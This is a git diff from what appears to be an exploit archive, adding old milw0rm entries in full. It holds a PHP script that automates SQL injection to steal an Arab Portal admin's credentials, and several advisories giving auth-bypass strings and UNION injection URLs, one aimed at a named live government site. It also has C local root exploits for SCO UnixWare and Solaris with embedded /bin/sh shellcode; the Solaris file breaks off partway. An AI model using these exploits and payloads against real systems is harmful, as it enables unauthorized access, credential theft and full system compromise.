+            print "| [-] Greetz : Evil-Cod3r , BlaCK MooN , Fantastic Egypt     |\n";
+            print "|              ALL Sec-Sni.coM Members                       |\n";
+            print "\------------------------------------------------------------/\n";
+            print "| [-] Dork     : \"Powered by: Arab Portal v2\"                |\n";
+            print "| [+] Usage    : php Exploit.php HOST PATH Options           |\n";
+            print "| [-] HOST     : Target server (ip/hostname)                 |\n";
+            print "| [-] PATH     : Path to Arab Portal                         |\n";
+            print "| [-] Options  :                                             |\n";
+            print "|     =>Proxy  :(ex. 0.0.0.0:8080)                           |\n";
+            print "\------------------------------------------------------------/\n";
+            print "\n\n";
+ 
+        exit;
+    }
+ 
+    function Send($Packet,$Payload=false)
+    {
+        Global $host,$proxy;
+        
+        if(empty($proxy))
+        {
+            $Connect    = @fsockopen($host,"80") or die("[-] Bad Host .");
+        }else{
+            $proxy        = explode(":",$proxy);
+            $Connect    = @fsockopen($proxy[0],$proxy[1]) or die("[-] Bad Proxy .");
+        }
+ 
+                $Packet    .= "Host : {$host} \r\n";
+                $Packet    .= "X-Forwarded-For: 127.0.0.1\r\n";
+                $Packet    .= "Content-Type: application/x-www-form-urlencoded\r\n";
+                $Packet    .= "Content-Length: ".(strlen($Payload))."\r\n";
+                $Packet    .= "Connection: close\r\n\r\n";
+                $Packet    .= $Payload;
+            
+                fputs($Connect,$Packet);
+ 
+                while(!feof($Connect))  
+                $Response    .= @fgets($Connect,2048);
+ 
+                fclose($Connect);
+        
+        return $Response;
+    }
+    
+    function SignUp()
+    {
+    
+        GLOBAL $username,$password,$email,$host,$path;
+        
+            $Payload = "username={$username}&password={$password}&password2={$password}&email={$email}&email2={$email}&homepage=http://&viewemail=0&showemail=1&html_msg=0&usertheme=portal&spam=regnotspam&remain=279&post={$email}&left=279&I1.x=72&I1.y=6";
+            $Packet    .= "POST {$path}/members.php?action=insert HTTP/1.1 \r\n";
+            $Packet    .= "Referer: http://{$host}/{$path}/members.php?action=signup \r\n";
+    
+        return Send($Packet,$Payload);
+    }
+    
+    function Login_Packet()
+    {
+    
+        GLOBAL $username,$password,$host,$path;
+            
+            $Payload = "username={$username}&userpass={$password}";
+            $Packet    .= "POST {$path}/members.php?action=login HTTP/1.1 \r\n";
+            $Packet    .= "Referer: http://{$host}/{$path}/forum.php\r\n";
+ 
+        return Send($Packet,$Payload);
+    }
+ 
+    function SI_Packet()
+    {
+    
+        GLOBAL $host,$path,$cookie;
+            
+ 
+            $Packet    .= "GET {$path}/forum.php?action=addcomment&id=1&qc=-999'+UNION+ALL+SELECT+1,concat(0x313a3a,username,0x3a3a,password,0x3a3a)+FROM+rafia_users+where+userid='1 HTTP/1.1 \r\n";
+            $Packet    .= "Host : {$host} \r\n";
+            $Packet    .= "{$cookie} \r\n";
+            $Packet    .= "Referer: http://{$host}/{$path}/forum.php\r\n";
+            
+        return Send($Packet);
+    }
+    
+    function getCookie($Packet)
+    {
+            $lines    = explode("\r\n",$Packet);
+            for($i = 0; $i < sizeof($lines); $i++)
+            {
+                $line    = $lines[$i];
+                if(ereg("PHPSESSID=",$line))
+                {
+                    $cookie    = str_replace("Set-Cookie","Cookie",$line);
+                    break;
+                }
+            }
+        return $cookie;
+    }
+ 
+    
+    if ($argc < 3) Usage();
+ 
+    $host    = $argv[1];
+    $path    = $argv[2];
+    $proxy    = $argv[3];
+    
+        
+        $username    = "user".rand(0,10000);
+        $password    = "pwd".rand(0,10000);
+        $email        = "email".rand(0,10000)."@yahoo.com";
+        
+        
+        Print "\r\n[-] Connecting to {$host} .... \r\n\r\n";
+ 
+        SignUp();
+ 
+        $cookie    = getCookie(Login_Packet());
+ 
+        $data = split("::",SI_Packet());
+        
+        Print "[-] Username : $data[1]\r\n";
+        Print "[-] Password : $data[2]\r\n";
+            
+ 
+?>
+
+# milw0rm.com [2009-08-01]
diff --git a/platforms/php/webapps/9327.txt b/platforms/php/webapps/9327.txt
index 7f84e434f..aa40b0d79 100755
--- a/platforms/php/webapps/9327.txt
+++ b/platforms/php/webapps/9327.txt
@@ -1,85 +1,85 @@
-------------------Mobilelib Gold v3 (Auth Bypass/SQL) Multiple Remote Vulnerabilities----------------------------
-                       #                                                                            
-   #    ####     #    ###      ##   ###  ####  ####  ###   #####   ####  ####   ###     #    ### ####  ######
-   ##    #  #    ##    # #    # #  #  #   # #   #  #  #    #  #   #    #  # #  #  #     ##    #   # # #  #  #
-   # #   #  #    # #   # #    # #  #      #     #  #   #   #  #  #        #    #        # #   #   #      #   
-  #  #   ###    #  #   ###   #  #   ##    ###   ###    #  #   #  #        ###   ##      #  #  #   ###    #   
-  ####   #  #   ####   #  # ######    #   #     #  #    # #   #  #        #       #     #   # #   #      #   
- #   #   #   # #   #   #  #     # #   #   #     #   #   ##    #   #    #  #   #   #     #    ##   #      #   
-##    #####   ##    ######     ### ###   ####  ###   #   #   ###   ####  ####  ###   # ###    #  ####   ###  
-
-
-#----------------------------------------------------------------------------------------------------------------
-Script : Mobilelib Gold
-version : 3.0
-Language: PHP
-Site: http://www.ac4p.com
-Dork: intext:Powered by Mobilelib Gold v3
-Found by: SwEET-DeViL
-
-need magic_quotes_gpc = Off
-
-#----------------------------------------------------------------------------------------------------------------
-
-)=> cp/auth.php  || Auth Bypass SQL Injection  Vulnerability
-.................................................................................................................
-   $adminName=$_POST['adminName'];
-   $adminName=strip_tags($adminName);
-   $Xadminpass=strip_tags($Xadminpass);
-   $adminlogin=@mysql_query("SELECT * FROM mobilelib_admin WHERE adminn='$adminName' AND adminpass='$Xadminpass'");
-.................................................................................................................
-#Exploit:
-
-username : 'or 1=1/*
-
-
-
-)=> artcat.php  || Remote SQL Injection  Vulnerability
-.................................................................................................................
-if($_GET['cid'])
-{
-$cid = intval( $_GET['cid'] );
-$cid = preg_replace("/'\/<>\"/","",$_GET['cid']); //X
-.................................................................................................................
-
-
-#Exploit:
-
-http://WWW.Site.Com/goldv3/artcat.php?cid=-1'+union+select+adminpass,2,adminn,4,5+from+mobilelib_admin/*
------------------------------------------------------------------------------------------------------------------
-
-
-
-.................................................................................................................
-
-)=> show.php || Remote SQL Injection  Vulnerability
-#Exploit:
-
-http://WWW.Site.Com/goldv3/show.php?cat=games&catid=-1'+union+select+1,2,adminpass,4,5,adminn,7,8+from+mobilelib_admin/*
-
-http://WWW.Site.Com/goldv3/show.php?cat=pro&catid=-1'+union+select+1,2,adminn,adminpass,5,6,7,8,9+from+mobilelib_admin/*
-
-http://WWW.Site.Com/goldv3/show.php?cat=themes&catid=-1'+union+select+1,2,3,4,adminn,adminpass,7+from+mobilelib_admin/*
-
-http://WWW.Site.Com/goldv3/show.php?cat=wallpapers&catid=-1'+union+select+1,2,3,4,adminn,adminpass,7+from+mobilelib_admin/*
-
-http://WWW.Site.Com/goldv3/show.php?cat=blue&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/*
-
-http://WWW.Site.Com/goldv3/show.php?cat=mms&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/*
-
-http://WWW.Site.Com/goldv3/show.php?cat=sound&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8,9+from+mobilelib_admin/*
-
-http://WWW.Site.Com/goldv3/show.php?cat=vido&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8,9,10+from+mobilelib_admin/*
-
-http://WWW.Site.Com/goldv3/show.php?cat=msgs&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/*
------------------------------------------------------------------------------------------------------------------
-
-
-/-------------www.arab4services.net-----------------\
-|+------------------------------------------------+ |
-||          SwEET-DeViL & viP HaCkEr              | |
-||            gamr-14(at)hotmail.com              | |
-|+------------------------------------------------+ |
-\---------------------------------------------------/
-
-# milw0rm.com [2009-08-01]
+------------------Mobilelib Gold v3 (Auth Bypass/SQL) Multiple Remote Vulnerabilities----------------------------
+                       #                                                                            
+   #    ####     #    ###      ##   ###  ####  ####  ###   #####   ####  ####   ###     #    ### ####  ######
+   ##    #  #    ##    # #    # #  #  #   # #   #  #  #    #  #   #    #  # #  #  #     ##    #   # # #  #  #
+   # #   #  #    # #   # #    # #  #      #     #  #   #   #  #  #        #    #        # #   #   #      #   
+  #  #   ###    #  #   ###   #  #   ##    ###   ###    #  #   #  #        ###   ##      #  #  #   ###    #   
+  ####   #  #   ####   #  # ######    #   #     #  #    # #   #  #        #       #     #   # #   #      #   
+ #   #   #   # #   #   #  #     # #   #   #     #   #   ##    #   #    #  #   #   #     #    ##   #      #   
+##    #####   ##    ######     ### ###   ####  ###   #   #   ###   ####  ####  ###   # ###    #  ####   ###  
+
+
+#----------------------------------------------------------------------------------------------------------------
+Script : Mobilelib Gold
+version : 3.0
+Language: PHP
+Site: http://www.ac4p.com
+Dork: intext:Powered by Mobilelib Gold v3
+Found by: SwEET-DeViL
+
+need magic_quotes_gpc = Off
+
+#----------------------------------------------------------------------------------------------------------------
+
+)=> cp/auth.php  || Auth Bypass SQL Injection  Vulnerability
+.................................................................................................................
+   $adminName=$_POST['adminName'];
+   $adminName=strip_tags($adminName);
+   $Xadminpass=strip_tags($Xadminpass);
+   $adminlogin=@mysql_query("SELECT * FROM mobilelib_admin WHERE adminn='$adminName' AND adminpass='$Xadminpass'");
+.................................................................................................................
+#Exploit:
+
+username : 'or 1=1/*
+
+
+
+)=> artcat.php  || Remote SQL Injection  Vulnerability
+.................................................................................................................
+if($_GET['cid'])
+{
+$cid = intval( $_GET['cid'] );
+$cid = preg_replace("/'\/<>\"/","",$_GET['cid']); //X
+.................................................................................................................
+
+
+#Exploit:
+
+http://WWW.Site.Com/goldv3/artcat.php?cid=-1'+union+select+adminpass,2,adminn,4,5+from+mobilelib_admin/*
+-----------------------------------------------------------------------------------------------------------------
+
+
+
+.................................................................................................................
+
+)=> show.php || Remote SQL Injection  Vulnerability
+#Exploit:
+
+http://WWW.Site.Com/goldv3/show.php?cat=games&catid=-1'+union+select+1,2,adminpass,4,5,adminn,7,8+from+mobilelib_admin/*
+
+http://WWW.Site.Com/goldv3/show.php?cat=pro&catid=-1'+union+select+1,2,adminn,adminpass,5,6,7,8,9+from+mobilelib_admin/*
+
+http://WWW.Site.Com/goldv3/show.php?cat=themes&catid=-1'+union+select+1,2,3,4,adminn,adminpass,7+from+mobilelib_admin/*
+
+http://WWW.Site.Com/goldv3/show.php?cat=wallpapers&catid=-1'+union+select+1,2,3,4,adminn,adminpass,7+from+mobilelib_admin/*
+
+http://WWW.Site.Com/goldv3/show.php?cat=blue&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/*
+
+http://WWW.Site.Com/goldv3/show.php?cat=mms&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/*
+
+http://WWW.Site.Com/goldv3/show.php?cat=sound&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8,9+from+mobilelib_admin/*
+
+http://WWW.Site.Com/goldv3/show.php?cat=vido&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8,9,10+from+mobilelib_admin/*
+
+http://WWW.Site.Com/goldv3/show.php?cat=msgs&catid=-1'+union+select+1,2,adminpass,4,5,6,7,8+from+mobilelib_admin/*
+-----------------------------------------------------------------------------------------------------------------
+
+
+/-------------www.arab4services.net-----------------\
+|+------------------------------------------------+ |
+||          SwEET-DeViL & viP HaCkEr              | |
+||            gamr-14(at)hotmail.com              | |
+|+------------------------------------------------+ |
+\---------------------------------------------------/
+
+# milw0rm.com [2009-08-01]
diff --git a/platforms/php/webapps/9372.txt b/platforms/php/webapps/9372.txt
index 56be61672..758844572 100755
--- a/platforms/php/webapps/9372.txt
+++ b/platforms/php/webapps/9372.txt
@@ -1,50 +1,50 @@
-------------------------------------------------------------------------------
-Portel (patron) Blind SQL-injection Vulnerability
-------------------------------------------------------------------------------
-
-
- #####################################################
- # [+] Author        :  Chip D3 Bi0s                 #
- # [+] Email         :  chipdebios[alt+64]gmail.com  #
- # [+] Vulnerability :  Blind SQL injection          #
- # [+] Group         :  LatinHackTeam                #
- #####################################################
-
-**********************************************************************
- Info Cms:
- * Name      : Portel
- * Web       : http://www.porteleditor.com
- * dowloand  : http://www.porteleditor.com/instalacion/portelv2008.zip
-               http://rapidshare.com/files/263383411/portelv2008.zip.html
- * Country   : Colombia
-               
-**********************************************************************
-
-
-Example:
-http://localHost/path/libreria/php/decide.php?patron=n<Blind Sql Code>
-n = patron valid
-
-
-DEMO LIVE:
-
-http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+1=1/*
-true
-
-http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+1=2/*
-else
-
-http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+substring(@@version,1,1)=4/*
-else
-
-http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+substring(@@version,1,1)=5/*
-true
-
-
-etc, etc....
-
-+++++++++++++++++++++++++++++++++++++++
-#[!] Produced in South America
-+++++++++++++++++++++++++++++++++++++++
-
-# milw0rm.com [2009-08-05]
+------------------------------------------------------------------------------
+Portel (patron) Blind SQL-injection Vulnerability
+------------------------------------------------------------------------------
+
+
+ #####################################################
+ # [+] Author        :  Chip D3 Bi0s                 #
+ # [+] Email         :  chipdebios[alt+64]gmail.com  #
+ # [+] Vulnerability :  Blind SQL injection          #
+ # [+] Group         :  LatinHackTeam                #
+ #####################################################
+
+**********************************************************************
+ Info Cms:
+ * Name      : Portel
+ * Web       : http://www.porteleditor.com
+ * dowloand  : http://www.porteleditor.com/instalacion/portelv2008.zip
+               http://rapidshare.com/files/263383411/portelv2008.zip.html
+ * Country   : Colombia
+               
+**********************************************************************
+
+
+Example:
+http://localHost/path/libreria/php/decide.php?patron=n<Blind Sql Code>
+n = patron valid
+
+
+DEMO LIVE:
+
+http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+1=1/*
+true
+
+http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+1=2/*
+else
+
+http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+substring(@@version,1,1)=4/*
+else
+
+http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+substring(@@version,1,1)=5/*
+true
+
+
+etc, etc....
+
++++++++++++++++++++++++++++++++++++++++
+#[!] Produced in South America
++++++++++++++++++++++++++++++++++++++++
+
+# milw0rm.com [2009-08-05]
diff --git a/platforms/php/webapps/9453.txt b/platforms/php/webapps/9453.txt
index 22f7c5b1f..8ae60c1c9 100755
--- a/platforms/php/webapps/9453.txt
+++ b/platforms/php/webapps/9453.txt
@@ -1,41 +1,41 @@
-###############################################################
-#################### Viva IslaM Viva IslaM ####################
-##
-## Remote SQL Injection Vulnerability ( videoint.php UploadID )
-##
-## Videos Broadcast Yourself V2
-##
-## http://www.videosbroadcastyourself.com/
-##
-###############################################################
-###############################################################
-##
-## AuTh0r : Mr.SQL
-##
-## H0ME   : WwW.55a.NeT
-##
-## Email  : SQL@Hotmail.iT
-##
-########################
-########################
-##
-## -[[: ExploiteS :]]-
-##
-## www.TraGeT.CoM/PATH/videoint.php?UploadID=0/**/UNION/**/SELECT/**/0,CONCAT_WS(0x3a,username,password,EmailAddress),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+admin--
-## www.TraGeT.CoM/PATH/videoint.php?UploadID=0/**/UNION/**/SELECT/**/0,CONCAT_WS(0x3a,username,password,EmailAddress),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+users--
-##
-## catvideo.php?m=0&cat_id=0 << Vulne
-## cviewchannels.php?uid=0   << Vulne
-##
-########################
-########################
-
-#########################################################################################################
-#########################################################################################################
-                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
-                                        
-:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
-#########################################################################################################
-#########################################################################################################
-
-# milw0rm.com [2009-08-18]
+###############################################################
+#################### Viva IslaM Viva IslaM ####################
+##
+## Remote SQL Injection Vulnerability ( videoint.php UploadID )
+##
+## Videos Broadcast Yourself V2
+##
+## http://www.videosbroadcastyourself.com/
+##
+###############################################################
+###############################################################
+##
+## AuTh0r : Mr.SQL
+##
+## H0ME   : WwW.55a.NeT
+##
+## Email  : SQL@Hotmail.iT
+##
+########################
+########################
+##
+## -[[: ExploiteS :]]-
+##
+## www.TraGeT.CoM/PATH/videoint.php?UploadID=0/**/UNION/**/SELECT/**/0,CONCAT_WS(0x3a,username,password,EmailAddress),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+admin--
+## www.TraGeT.CoM/PATH/videoint.php?UploadID=0/**/UNION/**/SELECT/**/0,CONCAT_WS(0x3a,username,password,EmailAddress),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+users--
+##
+## catvideo.php?m=0&cat_id=0 << Vulne
+## cviewchannels.php?uid=0   << Vulne
+##
+########################
+########################
+
+#########################################################################################################
+#########################################################################################################
+                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
+                                        
+:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
+#########################################################################################################
+#########################################################################################################
+
+# milw0rm.com [2009-08-18]
diff --git a/platforms/php/webapps/9674.txt b/platforms/php/webapps/9674.txt
index e43f16f70..ce88113ed 100755
--- a/platforms/php/webapps/9674.txt
+++ b/platforms/php/webapps/9674.txt
@@ -1,20 +1,20 @@
-#--------------------------------------------------------
-#Help Desk Version 3 (Auth Bypass) Remote Sql Injection
-#--------------------------------------------------------
-#Discovered By: Snakespc     ALGERIAN HaCkEr 
-#Mail: snakespc@gmail.com       
-#-------------------------------------------------------
-#
-#Script:Help Desk Version 3
-#
-#http://www.threepillarshelpdesk.com/
-#--------------------------------------------------------
-#Exploit:
-#--------
-#Demo:http://www.threepillarshelpdesk.com/demo/admin/login.php
-#Username:admin' or '1=1 
-#Password: No Thing !!!!
-----------------------------------------------------------
-Note:His0k4 Saha Ftooooork .....RANI TWAHCHTEK BZAFFFFFFFFFFFF 
-
-# milw0rm.com [2009-09-15]
+#--------------------------------------------------------
+#Help Desk Version 3 (Auth Bypass) Remote Sql Injection
+#--------------------------------------------------------
+#Discovered By: Snakespc     ALGERIAN HaCkEr 
+#Mail: snakespc@gmail.com       
+#-------------------------------------------------------
+#
+#Script:Help Desk Version 3
+#
+#http://www.threepillarshelpdesk.com/
+#--------------------------------------------------------
+#Exploit:
+#--------
+#Demo:http://www.threepillarshelpdesk.com/demo/admin/login.php
+#Username:admin' or '1=1 
+#Password: No Thing !!!!
+----------------------------------------------------------
+Note:His0k4 Saha Ftooooork .....RANI TWAHCHTEK BZAFFFFFFFFFFFF 
+
+# milw0rm.com [2009-09-15]
diff --git a/platforms/sco/local/2332.c b/platforms/sco/local/2332.c
index 19d14b129..5e666116c 100755
--- a/platforms/sco/local/2332.c
+++ b/platforms/sco/local/2332.c
@@ -1,86 +1,86 @@
-/*
- *  X11R6 XKEYBOARD extension Strcmp() for SCO UnixWare 7.1.3 x86
- *  Copyright 2006 RISE Security <contact@risesecurity.org>,
- *  Ramon de Carvalho Valle <ramon@risesecurity.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
- *
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define ADRSIZE 1024
-#define NOPSIZE 4096
-
-char shellcode[]=           /*  43 bytes                          */
-    "\x68\xff\xf8\xff\x3c"  /*  pushl   $0x3cfff8ff               */
-    "\x6a\x65"              /*  pushl   $0x65                     */
-    "\x89\xe6"              /*  movl    %esp,%esi                 */
-    "\xf7\x56\x04"          /*  notl    0x04(%esi)                */
-    "\xf6\x16"              /*  notb    (%esi)                    */
-    "\x31\xc0"              /*  xorl    %eax,%eax                 */
-    "\x50"                  /*  pushl   %eax                      */
-    "\xb0\x17"              /*  movb    $0x17,%al                 */
-    "\xff\xd6"              /*  call    *%esi                     */
-    "\x31\xc0"              /*  xorl    %eax,%eax                 */
-    "\x50"                  /*  pushl   %eax                      */
-    "\x68\x2f\x2f\x73\x68"  /*  pushl   $0x68732f2f               */
-    "\x68\x2f\x62\x69\x6e"  /*  pushl   $0x6e69622f               */
-    "\x89\xe3"              /*  movl    %esp,%ebx                 */
-    "\x50"                  /*  pushl   %eax                      */
-    "\x50"                  /*  pushl   %eax                      */
-    "\x53"                  /*  pushl   %ebx                      */
-    "\xb0\x3b"              /*  movb    $0x3b,%al                 */
-    "\xff\xd6"              /*  call    *%esi                     */
-;
-
-int main(int argc,char **argv){
-    char buf[8192],display[256],addr[4],*envp[4],*p;
-    int i;
-
-    printf("X11R6 XKEYBOARD extension Strcmp() for SCO UnixWare 7.1.3 x86\n");
-    printf("Copyright 2006 RISE Security <contact@risesecurity.org>\n\n");
-
-    if(argc!=2){
-        fprintf(stderr,"usage: %s xserver:display\n",argv[0]);
-        exit(EXIT_FAILURE);
-    }
-
-    snprintf(display,sizeof(display),"DISPLAY=%s",argv[1]);
-
-    *((unsigned int *)addr)=(unsigned int)buf+2048+256+1024+2048+1;
-
-    p=buf;
-    sprintf(p,"_XKB_CHARSET=");
-    p=buf+13;
-    for(i=0;i<256;i++) *p++='A';
-    for(i=0;i<ADRSIZE;i++) *p++=addr[i%4];
-    for(i=0;i<NOPSIZE;i++) *p++='\x90';
-    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
-    *p='\0';
-
-    envp[0]=buf;
-    envp[1]=display;
-    envp[2]=NULL;
-
-    execle("/usr/dt/bin/dtaction","dtaction",0,envp);
-
-    exit(EXIT_FAILURE);
-}
-
-// milw0rm.com [2006-09-08]
+/*
+ *  X11R6 XKEYBOARD extension Strcmp() for SCO UnixWare 7.1.3 x86
+ *  Copyright 2006 RISE Security <contact@risesecurity.org>,
+ *  Ramon de Carvalho Valle <ramon@risesecurity.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ *
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define ADRSIZE 1024
+#define NOPSIZE 4096
+
+char shellcode[]=           /*  43 bytes                          */
+    "\x68\xff\xf8\xff\x3c"  /*  pushl   $0x3cfff8ff               */
+    "\x6a\x65"              /*  pushl   $0x65                     */
+    "\x89\xe6"              /*  movl    %esp,%esi                 */
+    "\xf7\x56\x04"          /*  notl    0x04(%esi)                */
+    "\xf6\x16"              /*  notb    (%esi)                    */
+    "\x31\xc0"              /*  xorl    %eax,%eax                 */
+    "\x50"                  /*  pushl   %eax                      */
+    "\xb0\x17"              /*  movb    $0x17,%al                 */
+    "\xff\xd6"              /*  call    *%esi                     */
+    "\x31\xc0"              /*  xorl    %eax,%eax                 */
+    "\x50"                  /*  pushl   %eax                      */
+    "\x68\x2f\x2f\x73\x68"  /*  pushl   $0x68732f2f               */
+    "\x68\x2f\x62\x69\x6e"  /*  pushl   $0x6e69622f               */
+    "\x89\xe3"              /*  movl    %esp,%ebx                 */
+    "\x50"                  /*  pushl   %eax                      */
+    "\x50"                  /*  pushl   %eax                      */
+    "\x53"                  /*  pushl   %ebx                      */
+    "\xb0\x3b"              /*  movb    $0x3b,%al                 */
+    "\xff\xd6"              /*  call    *%esi                     */
+;
+
+int main(int argc,char **argv){
+    char buf[8192],display[256],addr[4],*envp[4],*p;
+    int i;
+
+    printf("X11R6 XKEYBOARD extension Strcmp() for SCO UnixWare 7.1.3 x86\n");
+    printf("Copyright 2006 RISE Security <contact@risesecurity.org>\n\n");
+
+    if(argc!=2){
+        fprintf(stderr,"usage: %s xserver:display\n",argv[0]);
+        exit(EXIT_FAILURE);
+    }
+
+    snprintf(display,sizeof(display),"DISPLAY=%s",argv[1]);
+
+    *((unsigned int *)addr)=(unsigned int)buf+2048+256+1024+2048+1;
+
+    p=buf;
+    sprintf(p,"_XKB_CHARSET=");
+    p=buf+13;
+    for(i=0;i<256;i++) *p++='A';
+    for(i=0;i<ADRSIZE;i++) *p++=addr[i%4];
+    for(i=0;i<NOPSIZE;i++) *p++='\x90';
+    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
+    *p='\0';
+
+    envp[0]=buf;
+    envp[1]=display;
+    envp[2]=NULL;
+
+    execle("/usr/dt/bin/dtaction","dtaction",0,envp);
+
+    exit(EXIT_FAILURE);
+}
+
+// milw0rm.com [2006-09-08]
diff --git a/platforms/solaris/local/2330.c b/platforms/solaris/local/2330.c
index 4aa2109bc..ab0561d61 100755
--- a/platforms/solaris/local/2330.c
+++ b/platforms/solaris/local/2330.c
@@ -1,197 +1,197 @@
-/*
- *  X11R6 XKEYBOARD extension Strcmp() for Sun Solaris 8 9 10 SPARC
- *  Copyright 2006 RISE Security <contact@risesecurity.org>,
- *  Ramon de Carvalho Valle <ramon@risesecurity.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
- *
- */
-
-/*
- *  Compile with the following command.
- *  $ (g)cc -Wall -ldl -o sol-sparc-xkb sol-sparc-xkb.c
- *
- *  Set the DISPLAY environment variable to a X Window System server with
- *  XKEYBOARD extension enabled.
- *  $ ./sol-sparc-xkb sprintf|strcpy xserver:display
- *
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <dlfcn.h>
-#include <link.h>
-#include <sys/systeminfo.h>
-#include <procfs.h>
-
-#define BUFSIZE 13+256+64+2+1
-#define FRMSIZE 64+3+1
-#define ADRSIZE 2047+1
-#define SHLSIZE strlen(shellcode)+1
-#define DSPSIZE strlen(display)+1
-#define ARGSIZE 7+1
-#define ENVSIZE BUFSIZE+FRMSIZE+ADRSIZE+SHLSIZE+DSPSIZE
-#define PFMSIZE strlen(platform)+1
-#define PRGSIZE 20+1
-
-#define PAD(a,b,c) \
-    a+=((b+c)%2)?(((a%8)>4)?(16-(a%8)):(8-(a%8))):((a%8)?(12-(a%8)):4);
-
-char shellcode[]=           /*  60 bytes                          */
-    "\x90\x1a\x40\x09"      /*  xor     %o1,%o1,%o0               */
-    "\x82\x10\x20\x17"      /*  mov     0x17,%g1                  */
-    "\x91\xd0\x20\x08"      /*  ta      0x08                      */
-    "\x21\x0b\xd8\x9a"      /*  sethi   %hi(0x2f62696e),%l0       */
-    "\xa0\x14\x29\x6e"      /*  or      %l0,0x96e,%l0             */
-    "\x23\x0b\xdc\xda"      /*  sethi   %hi(0x2f736800),%l1       */
-    "\x90\x23\xa0\x08"      /*  sub     %sp,0x08,%o0              */
-    "\x92\x23\xa0\x10"      /*  sub     %sp,0x10,%o1              */
-    "\x94\x1a\x80\x0a"      /*  xor     %o2,%o2,%o2               */
-    "\xe0\x23\xbf\xf8"      /*  st      %l0,[%sp-0x08]            */
-    "\xe2\x23\xbf\xfc"      /*  st      %l1,[%sp-0x04]            */
-    "\xd0\x23\xbf\xf0"      /*  st      %o0,[%sp-0x10]            */
-    "\xc0\x23\xbf\xf4"      /*  st      %g0,[%sp-0x0c]            */
-    "\x82\x10\x20\x3b"      /*  mov     0x3b,%g1                  */
-    "\x91\xd0\x20\x08"      /*  ta      0x08                      */
-;
-
-void *find_symbol(const char *symbol){
-    void *handle,*addr;
-    char *err;
-
-    if((handle=dlmopen(LM_ID_LDSO,NULL,RTLD_LAZY))==NULL){
-        fprintf(stderr,"%s\n",dlerror());
-        exit(EXIT_FAILURE);
-    }
-
-    dlerror();
-    addr=dlsym(handle,symbol);
-    if((err=dlerror())!=NULL){
-        fprintf(stderr,"%s\n",err);
-        exit(EXIT_FAILURE);
-    }
-
-    dlclose(handle);
-
-    return addr;
-}
-
-void *find_rwxmem(void){
-    FILE *fp;
-    prmap_t map;
-    int flags;
-    void *addr;
-
-    if((fp=fopen("/proc/self/map","rb"))==NULL){
-        perror("fopen");
-        exit(EXIT_FAILURE);
-    }
-
-    while(fread(&map,sizeof(map),1,fp)){
-        flags=map.pr_mflags;
-
-        if((flags&(MA_READ|MA_WRITE|MA_EXEC))==(MA_READ|MA_WRITE|MA_EXEC)){
